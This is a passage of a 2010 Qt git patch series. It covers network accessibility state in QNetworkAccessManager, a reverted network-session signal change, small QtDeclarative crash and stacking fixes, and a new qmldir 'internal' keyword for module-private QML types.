QNetworkAccessManager); - return d->networkAccessEnabled; + if (d->networkSession) { + // d->online holds online/offline state of this network session. + if (d->online) + return d->networkAccessible; + else + return NotAccessible; + } else { + // Network accessibility is either disabled or unknown. + return (d->networkAccessible == NotAccessible) ? NotAccessible : UnknownAccessibility; + } } /*! @@ -875,7 +905,7 @@ QNetworkReply *QNetworkAccessManager::createRequest(QNetworkAccessManager::Opera // Return a disabled network reply if network access is disabled. // Except if the scheme is empty or file://. - if (!d->networkAccessEnabled && !(req.url().scheme() == QLatin1String("file") || + if (!d->networkAccessible && !(req.url().scheme() == QLatin1String("file") || req.url().scheme().isEmpty())) { return new QDisabledNetworkReply(this, req, op); } @@ -1221,6 +1251,13 @@ void QNetworkAccessManagerPrivate::createSession(const QNetworkConfiguration &co if (!config.isValid()) { networkSession = 0; + online = false; + + if (networkAccessible == QNetworkAccessManager::NotAccessible) + emit q->networkAccessibleChanged(QNetworkAccessManager::NotAccessible); + else + emit q->networkAccessibleChanged(QNetworkAccessManager::UnknownAccessibility); + return; } @@ -1228,12 +1265,16 @@ void QNetworkAccessManagerPrivate::createSession(const QNetworkConfiguration &co QObject::connect(networkSession, SIGNAL(opened()), q, SIGNAL(networkSessionConnected())); QObject::connect(networkSession, SIGNAL(closed()), q, SLOT(_q_networkSessionClosed())); + QObject::connect(networkSession, SIGNAL(stateChanged(QNetworkSession::State)), + q, SLOT(_q_networkSessionStateChanged(QNetworkSession::State))); QObject::connect(networkSession, SIGNAL(newConfigurationActivated()), q, SLOT(_q_networkSessionNewConfigurationActivated())); QObject::connect(networkSession, SIGNAL(preferredConfigurationChanged(QNetworkConfiguration,bool)), q, SLOT(_q_networkSessionPreferredConfigurationChanged(QNetworkConfiguration,bool))); + + _q_networkSessionStateChanged(networkSession->state()); } void QNetworkAccessManagerPrivate::_q_networkSessionClosed() @@ -1263,6 +1304,23 @@ void QNetworkAccessManagerPrivate::_q_networkSessionPreferredConfigurationChange networkSession->migrate(); } +void QNetworkAccessManagerPrivate::_q_networkSessionStateChanged(QNetworkSession::State state) +{ + Q_Q(QNetworkAccessManager); + + if (online) { + if (state != QNetworkSession::Connected && state != QNetworkSession::Roaming) { + online = false; + emit q->networkAccessibleChanged(QNetworkAccessManager::NotAccessible); + } + } else { + if (state == QNetworkSession::Connected || state == QNetworkSession::Roaming) { + online = true; + emit q->networkAccessibleChanged(networkAccessible); + } + } +} + QT_END_NAMESPACE #include "moc_qnetworkaccessmanager.cpp" diff --git a/src/network/access/qnetworkaccessmanager.h b/src/network/access/qnetworkaccessmanager.h index e3dbb40..1d794a2 100644 --- a/src/network/access/qnetworkaccessmanager.h +++ b/src/network/access/qnetworkaccessmanager.h @@ -70,7 +70,7 @@ class Q_NETWORK_EXPORT QNetworkAccessManager: public QObject { Q_OBJECT - Q_PROPERTY(bool networkAccess READ networkAccessEnabled WRITE setNetworkAccessEnabled NOTIFY networkAccessChanged) + Q_PROPERTY(NetworkAccessibility networkAccessible READ networkAccessible WRITE setNetworkAccessible NOTIFY networkAccessibleChanged) public: enum Operation { @@ -84,6 +84,12 @@ public: UnknownOperation = 0 }; + enum NetworkAccessibility { + UnknownAccessibility = -1, + NotAccessible = 0, + Accessible = 1 + }; + explicit QNetworkAccessManager(QObject *parent = 0); ~QNetworkAccessManager(); @@ -113,8 +119,8 @@ public: QNetworkConfiguration configuration() const; QNetworkConfiguration activeConfiguration() const; - void setNetworkAccessEnabled(bool enabled); - bool networkAccessEnabled() const; + void setNetworkAccessible(NetworkAccessibility accessible); + NetworkAccessibility networkAccessible() const; Q_SIGNALS: #ifndef QT_NO_NETWORKPROXY @@ -128,7 +134,7 @@ Q_SIGNALS: void networkSessionConnected(); - void networkAccessChanged(bool enabled); + void networkAccessibleChanged(QNetworkAccessManager::NetworkAccessibility accessible); protected: virtual QNetworkReply *createRequest(Operation op, const QNetworkRequest &request, @@ -142,6 +148,7 @@ private: Q_PRIVATE_SLOT(d_func(), void _q_networkSessionClosed()) Q_PRIVATE_SLOT(d_func(), void _q_networkSessionNewConfigurationActivated()) Q_PRIVATE_SLOT(d_func(), void _q_networkSessionPreferredConfigurationChanged(QNetworkConfiguration,bool)) + Q_PRIVATE_SLOT(d_func(), void _q_networkSessionStateChanged(QNetworkSession::State)); }; QT_END_NAMESPACE diff --git a/src/network/access/qnetworkaccessmanager_p.h b/src/network/access/qnetworkaccessmanager_p.h index 0140268..1785685 100644 --- a/src/network/access/qnetworkaccessmanager_p.h +++ b/src/network/access/qnetworkaccessmanager_p.h @@ -58,6 +58,7 @@ #include "qnetworkaccessbackend_p.h" #include "private/qobject_p.h" #include "QtNetwork/qnetworkproxy.h" +#include "QtNetwork/qnetworksession.h" QT_BEGIN_NAMESPACE @@ -65,7 +66,6 @@ class QAuthenticator; class QAbstractNetworkCache; class QNetworkAuthenticationCredential; class QNetworkCookieJar; -class QNetworkSession; class QNetworkAccessManagerPrivate: public QObjectPrivate { @@ -76,7 +76,8 @@ public: proxyFactory(0), #endif networkSession(0), - networkAccessEnabled(true), + networkAccessible(QNetworkAccessManager::Accessible), + online(false), initializeSession(true), cookieJarCreated(false) { } @@ -109,6 +110,7 @@ public: void _q_networkSessionNewConfigurationActivated(); void _q_networkSessionPreferredConfigurationChanged(const QNetworkConfiguration &config, bool isSeamless); + void _q_networkSessionStateChanged(QNetworkSession::State state); // this is the cache for storing downloaded files QAbstractNetworkCache *networkCache; @@ -123,7 +125,8 @@ public: QNetworkSession *networkSession; QString networkConfiguration; - bool networkAccessEnabled; + QNetworkAccessManager::NetworkAccessibility networkAccessible; + bool online; bool initializeSession; bool cookieJarCreated; diff --git a/tests/auto/network.pro b/tests/auto/network.pro index 6b24850..2a7c178 100644 --- a/tests/auto/network.pro +++ b/tests/auto/network.pro @@ -16,6 +16,7 @@ SUBDIRS=\ qhttpnetworkreply \ qhttpsocketengine \ qnativesocketengine \ + qnetworkaccessmanager \ qnetworkaddressentry \ qnetworkconfigmanager \ qnetworkconfiguration \ diff --git a/tests/auto/qnetworkaccessmanager/qnetworkaccessmanager.pro b/tests/auto/qnetworkaccessmanager/qnetworkaccessmanager.pro new file mode 100644 index 0000000..e2889c1 --- /dev/null +++ b/tests/auto/qnetworkaccessmanager/qnetworkaccessmanager.pro @@ -0,0 +1,5 @@ +load(qttest_p4) +SOURCES += tst_qnetworkaccessmanager.cpp +QT = core network + + diff --git a/tests/auto/qnetworkaccessmanager/tst_qnetworkaccessmanager.cpp b/tests/auto/qnetworkaccessmanager/tst_qnetworkaccessmanager.cpp new file mode 100644 index 0000000..9267389 --- /dev/null +++ b/tests/auto/qnetworkaccessmanager/tst_qnetworkaccessmanager.cpp @@ -0,0 +1,111 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include + +#include +#include + +#include + +Q_DECLARE_METATYPE(QNetworkAccessManager::NetworkAccessibility); + +class tst_QNetworkAccessManager : public QObject +{ + Q_OBJECT + +public: + tst_QNetworkAccessManager(); + +private slots: + void networkAccessible(); +}; + +tst_QNetworkAccessManager::tst_QNetworkAccessManager() +{ +} + +void tst_QNetworkAccessManager::networkAccessible() +{ + QNetworkAccessManager manager; + + qRegisterMetaType("QNetworkAccessManager::NetworkAccessibility"); + + QSignalSpy spy(&manager, + SIGNAL(networkAccessibleChanged(QNetworkAccessManager::NetworkAccessibility))); + + QCOMPARE(manager.isNetworkAccessible(), QNetworkAccessManager::UnknownAccessibility); + + manager.setNetworkAccessible(QNetworkAccessManager::NotAccessible); + + QCOMPARE(spy.count(), 1); + QCOMPARE(spy.takeFirst().at(0).value(), + QNetworkAccessManager::NotAccessible); + QCOMPARE(manager.isNetworkAccessible(), QNetworkAccessManager::NotAccessible); + + manager.setNetworkAccessible(QNetworkAccessManager::Accessible); + + QCOMPARE(spy.count(), 1); + QCOMPARE(spy.takeFirst().at(0).value(), + QNetworkAccessManager::UnknownAccessibility); + QCOMPARE(manager.isNetworkAccessible(), QNetworkAccessManager::UnknownAccessibility); + + QNetworkConfigurationManager configManager; + QNetworkConfiguration defaultConfig = configManager.defaultConfiguration(); + if (defaultConfig.isValid()) { + manager.setConfiguration(defaultConfig); + + QCOMPARE(spy.count(), 1); + QCOMPARE(spy.takeFirst().at(0).value(), + QNetworkAccessManager::Accessible); + QCOMPARE(manager.isNetworkAccessible(), QNetworkAccessManager::Accessible); + + manager.setNetworkAccessible(QNetworkAccessManager::NotAccessible); + + QCOMPARE(spy.count(), 1); + QCOMPARE(QNetworkAccessManager::NetworkAccessibility(spy.takeFirst().at(0).toInt()), + QNetworkAccessManager::NotAccessible); + QCOMPARE(manager.isNetworkAccessible(), QNetworkAccessManager::NotAccessible); + } +} + +QTEST_MAIN(tst_QNetworkAccessManager) +#include "tst_qnetworkaccessmanager.moc" -- cgit v0.12 From 02bdd61245da529ff99cdebc939b33fefe398f48 Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Fri, 19 Mar 2010 14:27:26 +1000 Subject: Revert "Don't emit open signal on session close/error." This reverts commit 39818f933b958d504b9cc18487658209d1df22da. --- src/network/access/qnetworkaccessmanager.cpp | 2 -- src/network/access/qnetworkreplyimpl.cpp | 10 ---------- src/network/access/qnetworkreplyimpl_p.h | 2 -- src/network/bearer/qnetworksession.cpp | 9 +++++---- src/network/bearer/qnetworksession_p.h | 4 +++- src/plugins/bearer/qnetworksession_impl.cpp | 19 +++++++++---------- src/plugins/bearer/qnetworksession_impl.h | 2 +- .../auto/qnetworksession/test/tst_qnetworksession.cpp | 3 --- 8 files changed, 18 insertions(+), 33 deletions(-) diff --git a/src/network/access/qnetworkaccessmanager.cpp b/src/network/access/qnetworkaccessmanager.cpp index 8fe1857..197d89e 100644 --- a/src/network/access/qnetworkaccessmanager.cpp +++ b/src/network/access/qnetworkaccessmanager.cpp @@ -944,8 +944,6 @@ QNetworkReply *QNetworkAccessManager::createRequest(QNetworkAccessManager::Opera if (req.url().scheme() != QLatin1String("file") && !req.url().scheme().isEmpty()) { connect(this, SIGNAL(networkSessionConnected()), reply, SLOT(_q_networkSessionConnected())); - if (d->networkSession) - connect(d->networkSession, SIGNAL(closed()), reply, SLOT(_q_networkSessionClosed())); } QNetworkReplyImplPrivate *priv = reply->d_func(); priv->manager = this; diff --git a/src/network/access/qnetworkreplyimpl.cpp b/src/network/access/qnetworkreplyimpl.cpp index 9ef2ed8..7fc0097 100644 --- a/src/network/access/qnetworkreplyimpl.cpp +++ b/src/network/access/qnetworkreplyimpl.cpp @@ -262,16 +262,6 @@ void QNetworkReplyImplPrivate::_q_networkSessionConnected() } } -void QNetworkReplyImplPrivate::_q_networkSessionClosed() -{ - if (state != Finished) { - state = Working; - error(QNetworkReply::UnknownNetworkError, - QCoreApplication::translate("QNetworkReply", "Network session closed.")); - finished(); - } -} - void QNetworkReplyImplPrivate::_q_networkSessionFailed() { // Abort waiting replies. diff --git a/src/network/access/qnetworkreplyimpl_p.h b/src/network/access/qnetworkreplyimpl_p.h index 8e498d5..fcb3397 100644 --- a/src/network/access/qnetworkreplyimpl_p.h +++ b/src/network/access/qnetworkreplyimpl_p.h @@ -100,7 +100,6 @@ public: Q_PRIVATE_SLOT(d_func(), void _q_bufferOutgoingData()) Q_PRIVATE_SLOT(d_func(), void _q_bufferOutgoingDataFinished()) Q_PRIVATE_SLOT(d_func(), void _q_networkSessionConnected()) - Q_PRIVATE_SLOT(d_func(), void _q_networkSessionClosed()) Q_PRIVATE_SLOT(d_func(), void _q_networkSessionFailed()) }; @@ -135,7 +134,6 @@ public: void _q_bufferOutgoingData(); void _q_bufferOutgoingDataFinished(); void _q_networkSessionConnected(); - void _q_networkSessionClosed(); void _q_networkSessionFailed(); void setup(QNetworkAccessManager::Operation op, const QNetworkRequest &request, diff --git a/src/network/bearer/qnetworksession.cpp b/src/network/bearer/qnetworksession.cpp index d05f20e..cf9f4b2 100644 --- a/src/network/bearer/qnetworksession.cpp +++ b/src/network/bearer/qnetworksession.cpp @@ -231,7 +231,7 @@ QNetworkSession::QNetworkSession(const QNetworkConfiguration& connectionConfig, d->q = this; d->publicConfig = connectionConfig; d->syncStateWithInterface(); - connect(d, SIGNAL(opened()), this, SIGNAL(opened())); + connect(d, SIGNAL(quitPendingWaitsForOpened()), this, SIGNAL(opened())); connect(d, SIGNAL(error(QNetworkSession::SessionError)), this, SIGNAL(error(QNetworkSession::SessionError))); connect(d, SIGNAL(stateChanged(QNetworkSession::State)), @@ -308,9 +308,10 @@ bool QNetworkSession::waitForOpened(int msecs) return false; QEventLoop* loop = new QEventLoop(this); - connect(d, SIGNAL(opened()), loop, SLOT(quit())); - connect(d, SIGNAL(closed()), loop, SLOT(quit())); - connect(d, SIGNAL(error(QNetworkSession::SessionError)), loop, SLOT(quit())); + QObject::connect(d, SIGNAL(quitPendingWaitsForOpened()), + loop, SLOT(quit())); + QObject::connect(this, SIGNAL(error(QNetworkSession::SessionError)), + loop, SLOT(quit())); //final call if (msecs>=0) diff --git a/src/network/bearer/qnetworksession_p.h b/src/network/bearer/qnetworksession_p.h index 5eef8e3..76691b3 100644 --- a/src/network/bearer/qnetworksession_p.h +++ b/src/network/bearer/qnetworksession_p.h @@ -116,7 +116,9 @@ protected: } Q_SIGNALS: - void opened(); + //releases any pending waitForOpened() calls + void quitPendingWaitsForOpened(); + void error(QNetworkSession::SessionError error); void stateChanged(QNetworkSession::State state); void closed(); diff --git a/src/plugins/bearer/qnetworksession_impl.cpp b/src/plugins/bearer/qnetworksession_impl.cpp index ddda04f..db1759c 100644 --- a/src/plugins/bearer/qnetworksession_impl.cpp +++ b/src/plugins/bearer/qnetworksession_impl.cpp @@ -103,7 +103,7 @@ void QNetworkSessionPrivateImpl::syncStateWithInterface() connect(sessionManager(), SIGNAL(forcedSessionClose(QNetworkConfiguration)), this, SLOT(forcedSessionClose(QNetworkConfiguration))); - sessionOpened = false; + opened = false; isOpen = false; state = QNetworkSession::Invalid; lastError = QNetworkSession::UnknownSessionError; @@ -153,7 +153,7 @@ void QNetworkSessionPrivateImpl::open() emit QNetworkSessionPrivate::error(lastError); return; } - sessionOpened = true; + opened = true; if ((activeConfig.state() & QNetworkConfiguration::Active) != QNetworkConfiguration::Active && (activeConfig.state() & QNetworkConfiguration::Discovered) == QNetworkConfiguration::Discovered) { @@ -165,7 +165,7 @@ void QNetworkSessionPrivateImpl::open() isOpen = (activeConfig.state() & QNetworkConfiguration::Active) == QNetworkConfiguration::Active; if (isOpen) - emit opened(); + emit quitPendingWaitsForOpened(); } } @@ -175,7 +175,7 @@ void QNetworkSessionPrivateImpl::close() lastError = QNetworkSession::OperationNotSupportedError; emit QNetworkSessionPrivate::error(lastError); } else if (isOpen) { - sessionOpened = false; + opened = false; isOpen = false; emit closed(); } @@ -196,7 +196,7 @@ void QNetworkSessionPrivateImpl::stop() sessionManager()->forceSessionClose(activeConfig); } - sessionOpened = false; + opened = false; isOpen = false; emit closed(); } @@ -364,10 +364,10 @@ void QNetworkSessionPrivateImpl::updateStateFromActiveConfig() state = engine->sessionStateForId(activeConfig.identifier()); bool oldActive = isOpen; - isOpen = (state == QNetworkSession::Connected) ? sessionOpened : false; + isOpen = (state == QNetworkSession::Connected) ? opened : false; if (!oldActive && isOpen) - emit opened(); + emit quitPendingWaitsForOpened(); if (oldActive && !isOpen) emit closed(); @@ -398,7 +398,7 @@ void QNetworkSessionPrivateImpl::configurationChanged(QNetworkConfigurationPriva void QNetworkSessionPrivateImpl::forcedSessionClose(const QNetworkConfiguration &config) { if (activeConfig == config) { - sessionOpened = false; + opened = false; isOpen = false; emit closed(); @@ -416,7 +416,7 @@ void QNetworkSessionPrivateImpl::connectionError(const QString &id, switch (error) { case QBearerEngineImpl::OperationNotSupported: lastError = QNetworkSession::OperationNotSupportedError; - sessionOpened = false; + opened = false; break; case QBearerEngineImpl::InterfaceLookupError: case QBearerEngineImpl::ConnectError: @@ -426,7 +426,6 @@ void QNetworkSessionPrivateImpl::connectionError(const QString &id, } emit QNetworkSessionPrivate::error(lastError); - emit closed(); } } diff --git a/src/plugins/bearer/qnetworksession_impl.h b/src/plugins/bearer/qnetworksession_impl.h index c31e540..c644174 100644 --- a/src/plugins/bearer/qnetworksession_impl.h +++ b/src/plugins/bearer/qnetworksession_impl.h @@ -114,7 +114,7 @@ private Q_SLOTS: void decrementTimeout(); private: - bool sessionOpened; + bool opened; QBearerEngineImpl *engine; diff --git a/tests/auto/qnetworksession/test/tst_qnetworksession.cpp b/tests/auto/qnetworksession/test/tst_qnetworksession.cpp index 35f7ba7..4b56f77 100644 --- a/tests/auto/qnetworksession/test/tst_qnetworksession.cpp +++ b/tests/auto/qnetworksession/test/tst_qnetworksession.cpp @@ -628,9 +628,6 @@ void tst_QNetworkSession::sessionOpenCloseStop() QVERIFY(session.state() == previousState); - QVERIFY(sessionOpenedSpy.isEmpty()); - QCOMPARE(sessionClosedSpy.count(), 1); - if (error == QNetworkSession::OperationNotSupportedError) { // The session needed to bring up the interface, // but the operation is not supported. -- cgit v0.12 From 55ffc0f27638485803f29d985a57deb5b3db4584 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 19 Mar 2010 17:34:30 +1000 Subject: Don't crash if an out of bounds model index is accessed. Task-number: QTBUG-9184 --- src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp b/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp index 6341764..b31bbd0 100644 --- a/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp +++ b/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp @@ -422,6 +422,8 @@ int QDeclarativeVisualDataModelDataMetaObject::createProperty(const char *name, return -1; QDeclarativeVisualDataModelPrivate *model = QDeclarativeVisualDataModelPrivate::get(data->m_model); + if (data->m_index < 0 || data->m_index >= model->modelCount()) + return -1; if ((!model->m_listModelInterface || !model->m_abstractItemModel) && model->m_listAccessor) { if (model->m_listAccessor->type() == QDeclarativeListAccessor::ListProperty) { -- cgit v0.12 From 62ca76e14166b8f4c16e7cd9c285d373e460ebf7 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 19 Mar 2010 17:39:11 +1000 Subject: Setting stacking order from top to bottom seems to work better. Task-number: QTBUG-9182 --- src/declarative/graphicsitems/qdeclarativerepeater.cpp | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativerepeater.cpp b/src/declarative/graphicsitems/qdeclarativerepeater.cpp index b9696c8..e8f9b24 100644 --- a/src/declarative/graphicsitems/qdeclarativerepeater.cpp +++ b/src/declarative/graphicsitems/qdeclarativerepeater.cpp @@ -358,14 +358,10 @@ void QDeclarativeRepeater::itemsMoved(int from, int to, int count) removed << d->deletables.takeAt(from); for (int i = 0; i < count; ++i) d->deletables.insert(to + i, removed.at(i)); - for (int i = 0; i < d->model->count(); ++i) { - if (i < from && i < to) - continue; - QDeclarativeItem *item = d->deletables.at(i); - if (i < d->deletables.count()-1) - item->stackBefore(d->deletables.at(i+1)); - else - item->stackBefore(this); + d->deletables.last()->stackBefore(this); + for (int i = d->model->count()-1; i > 0; --i) { + QDeclarativeItem *item = d->deletables.at(i-1); + item->stackBefore(d->deletables.at(i)); } } -- cgit v0.12 From b6e74016305ea70ed36a7eb1504d3120106dbb23 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 19 Mar 2010 19:50:29 +1000 Subject: Initialize variable. --- src/imports/particles/qdeclarativeparticles_p.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/imports/particles/qdeclarativeparticles_p.h b/src/imports/particles/qdeclarativeparticles_p.h index 993796d..9035e3e 100644 --- a/src/imports/particles/qdeclarativeparticles_p.h +++ b/src/imports/particles/qdeclarativeparticles_p.h @@ -111,7 +111,7 @@ class QDeclarativeParticleMotionWander : public QDeclarativeParticleMotion Q_OBJECT public: QDeclarativeParticleMotionWander() - : QDeclarativeParticleMotion(), particles(0), _xvariance(0), _yvariance(0) {} + : QDeclarativeParticleMotion(), particles(0), _xvariance(0), _yvariance(0), _pace(100) {} virtual void advance(QDeclarativeParticle &, int interval); virtual void created(QDeclarativeParticle &); -- cgit v0.12 From d039e2e8307bd272eedc5beae4ecf1a14e47def5 Mon Sep 17 00:00:00 2001 From: mae Date: Thu, 18 Mar 2010 15:54:02 +0100 Subject: Fix local type lookup This change removes the hacky final baseUrl+TypeName+".qml" lookup. In order to still support internal files in remote modules, a new qmldir keyword "internal" is introduced. --- doc/src/declarative/modules.qdoc | 7 +++++++ src/declarative/qml/qdeclarativedirparser.cpp | 10 ++++++++++ src/declarative/qml/qdeclarativedirparser_p.h | 6 ++++-- src/declarative/qml/qdeclarativeengine.cpp | 23 ++++++++++------------ .../data/failingComponent.errors.txt | 2 +- .../data/unregisteredObject.errors.txt | 2 +- .../declarative/qmllanguage/UndeclaredLocal.qml | 3 +++ .../declarative/qmllanguage/WrongTestLocal.qml | 1 + .../qtest/declarative/qmllanguage/qmldir | 1 + .../tst_qdeclarativelanguage.cpp | 3 +++ 10 files changed, 41 insertions(+), 17 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/UndeclaredLocal.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/WrongTestLocal.qml diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc index ab75f8d..53de32c 100644 --- a/doc/src/declarative/modules.qdoc +++ b/doc/src/declarative/modules.qdoc @@ -143,6 +143,13 @@ since the \e first name-version match is used. Installed files do not need to import the module of which they are a part, as they can refer to the other QML files in the module as relative (local) files. +If the module is imported from a remote location, those files must nevertheless be listed in +the \c qmldir file. Internal files can be marked with the \c internal keyword, to ensure +they are not visible outside the module: + +\code +internal +\endcode Installed and remote files \e must be referred to by version information described above, local files \e may have it. diff --git a/src/declarative/qml/qdeclarativedirparser.cpp b/src/declarative/qml/qdeclarativedirparser.cpp index b6d2115..0e82098 100644 --- a/src/declarative/qml/qdeclarativedirparser.cpp +++ b/src/declarative/qml/qdeclarativedirparser.cpp @@ -151,6 +151,16 @@ bool QDeclarativeDirParser::parse() _plugins.append(entry); + } else if (sections[0] == QLatin1String("internal")) { + if (sectionCount != 3) { + reportError(lineNumber, -1, + QString::fromUtf8("internal types require 2 arguments, but %1 were provided").arg(sectionCount + 1)); + continue; + } + Component entry(sections[1], sections[2], -1, -1); + entry.internal = true; + _components.append(entry); + } else if (sectionCount == 2) { // No version specified (should only be used for relative qmldir files) const Component entry(sections[0], sections[1], -1, -1); diff --git a/src/declarative/qml/qdeclarativedirparser_p.h b/src/declarative/qml/qdeclarativedirparser_p.h index 5df7117..295fa66 100644 --- a/src/declarative/qml/qdeclarativedirparser_p.h +++ b/src/declarative/qml/qdeclarativedirparser_p.h @@ -94,15 +94,17 @@ public: struct Component { Component() - : majorVersion(0), minorVersion(0) {} + : majorVersion(0), minorVersion(0), internal(false) {} Component(const QString &typeName, const QString &fileName, int majorVersion, int minorVersion) - : typeName(typeName), fileName(fileName), majorVersion(majorVersion), minorVersion(minorVersion) {} + : typeName(typeName), fileName(fileName), majorVersion(majorVersion), minorVersion(minorVersion), + internal(false) {} QString typeName; QString fileName; int majorVersion; int minorVersion; + bool internal; }; QList components() const; diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 800434a..174579c 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1363,7 +1363,8 @@ struct QDeclarativeEnginePrivate::ImportedNamespace { QList isLibrary; QList qmlDirContent; - bool find(const QByteArray& type, int *vmajor, int *vminor, QDeclarativeType** type_return, QUrl* url_return) + bool find(const QByteArray& type, int *vmajor, int *vminor, QDeclarativeType** type_return, QUrl* url_return, + QUrl *base = 0) { for (int i=0; i= c.minorVersion)) { + QUrl candidate = url.resolved(QUrl(c.fileName)); + if (c.internal && base) { + if (base->resolved(QUrl(c.fileName)) != candidate) + continue; // failed attempt to access an internal type + } if (url_return) - *url_return = url.resolved(QUrl(c.fileName)); + *url_return = candidate; return true; } } @@ -1617,7 +1623,7 @@ public: } QByteArray unqualifiedtype = slash < 0 ? type : type.mid(slash+1); // common-case opt (QString::mid works fine, but slower) if (s) { - if (s->find(unqualifiedtype,vmajor,vminor,type_return,url_return)) + if (s->find(unqualifiedtype,vmajor,vminor,type_return,url_return, &base)) return true; if (s->urls.count() == 1 && !s->isLibrary[0] && url_return && s != &unqualifiedset) { // qualified, and only 1 url @@ -1627,16 +1633,7 @@ public: } - - /* now comes really nasty code. It makes "private" types load in the remote case, but - it does this by breaking the import order. This must go. Instead private types must - be marked private in the qmldir. */ - if (url_return) { - *url_return = base.resolved(QUrl(QString::fromUtf8(type + ".qml"))); - return true; - } else { - return false; - } + return false; } QDeclarativeEnginePrivate::ImportedNamespace *findNamespace(const QString& type) diff --git a/tests/auto/declarative/qdeclarativelanguage/data/failingComponent.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/failingComponent.errors.txt index 0cf0ef3..364ca67 100644 --- a/tests/auto/declarative/qdeclarativelanguage/data/failingComponent.errors.txt +++ b/tests/auto/declarative/qdeclarativelanguage/data/failingComponent.errors.txt @@ -1 +1 @@ -3:5:Type FailingComponent unavailable +3:5:FailingComponent is not a type diff --git a/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.errors.txt index 347db05..10e5fb2 100644 --- a/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.errors.txt +++ b/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.errors.txt @@ -1 +1 @@ -2:1:Type UnregisteredObjectType unavailable +2:1:UnregisteredObjectType is not a type diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/UndeclaredLocal.qml b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/UndeclaredLocal.qml new file mode 100644 index 0000000..836c20a --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/UndeclaredLocal.qml @@ -0,0 +1,3 @@ +import Qt 4.6 + +Image { source: "pics/blue.png" } diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/WrongTestLocal.qml b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/WrongTestLocal.qml new file mode 100644 index 0000000..8dcb7be --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/WrongTestLocal.qml @@ -0,0 +1 @@ +UndeclaredInternal {} diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/qmldir b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/qmldir index 303c5c8..da10ba9 100644 --- a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/qmldir +++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/qmldir @@ -1,3 +1,4 @@ Test Test.qml TestSubDir TestSubDir.qml TestLocal TestLocal.qml +internal LocalInternal LocalInternal.qml diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 6b564d4..9188d72 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -1242,6 +1242,9 @@ void tst_qdeclarativelanguage::importsRemote_data() QTest::newRow("remote import") << "import \""+serverdir+"\"\nTest {}" << "QDeclarativeRectangle"; QTest::newRow("remote import with subdir") << "import \""+serverdir+"\"\nTestSubDir {}" << "QDeclarativeText"; QTest::newRow("remote import with local") << "import \""+serverdir+"\"\nTestLocal {}" << "QDeclarativeImage"; + QTest::newRow("wrong remote import with undeclared local") << "import \""+serverdir+"\"\nWrongTestLocal {}" << ""; + QTest::newRow("wrong remote import of internal local") << "import \""+serverdir+"\"\nLocalInternal {}" << ""; + QTest::newRow("wrong remote import of undeclared local") << "import \""+serverdir+"\"\nUndeclaredLocal {}" << ""; } #include "testhttpserver.h" -- cgit v0.12 From 3cc7cac6c205897c60d879c01f8733351c86cdf9 Mon Sep 17 00:00:00 2001 From: mae Date: Fri, 19 Mar 2010 16:18:11 +0100 Subject: Reduce amount of qmldir parsing This is done by storing the parsed components (QDeclarativeDirComponents). There's still potential for optimization (QT-617) --- .../qml/qdeclarativecompositetypemanager.cpp | 21 +++++++---- 